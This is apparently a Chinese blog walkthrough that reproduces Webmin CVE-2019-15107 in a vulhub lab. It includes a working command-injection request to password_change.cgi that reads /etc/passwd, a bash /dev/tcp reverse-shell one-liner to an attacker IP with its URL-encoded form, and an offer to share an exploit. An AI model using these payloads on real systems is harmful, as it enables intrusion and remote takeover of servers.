Webmin RCE 漏洞复现

Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

影响版本:Webmin<1.920

环境搭建:使用vulhub,找到Webmin里的CVE-2019-15107

docker-compose up -d

首先进入容器修改root的密码

docker exec -it 91 /bin/bash #91使我的容器名,具体还是要看自己的容器名
docker ps -a #查看容器

image-20200811161151427

cat /etc/webmin/miniserv.conf

image-20200811162248786

vim etc/webmin/config

etc/webmin/config 里的referers_none的值改为0(好像不用改也可以,所以我就没截图了)

进入后台

用户名:root

密码:刚刚设置的密码

点击图上所指的

image-20200811161817017

这个默认的配置好的,可以看看以防万一

image-20200811161921390

正式开始

我的环境:

靶机:https://192.168.214.136:10000

攻击机:192.168.214.129

一般通过docker默认安装完以后就可以了,不需要再去改配置直接就可以复现漏洞。

这个漏洞是存在于用户更改密码处,由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞

看到这个页面,接下来随便输入用户名密码进行抓包

image-20200811145507221

然后更改数据包为

POST /password_change.cgi HTTP/1.1
Host: 192.168.214.136:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://192.168.214.136:10000/
Cookie: redirect=1; testing=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=admin&old=test | cat /etc/passwd&new1=123456&new2=123456

查看返回包,发现命令执行漏洞

image-20200811154814807

反弹Shell

  • 在kali监听10086端口

    nc -lvp 10086
    
  • 将数据包中的命令执行语句改为

    bash -c "bash -i >& /dev/tcp/192.168.214.129/10086 0>&1"
    
  • 将语句进行url编码

    bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.214.129%2f10086+0%3e%261%22
    
  • 发送数据包

    image-20200811165628605

  • 反弹成功

    image-20200811165822276

最后

至于exp网上也有很多,也可以找我要(附带使用方法),exp是整合了上述的命令执行和反弹shell,只不过是更加的方便。

Q.E.D.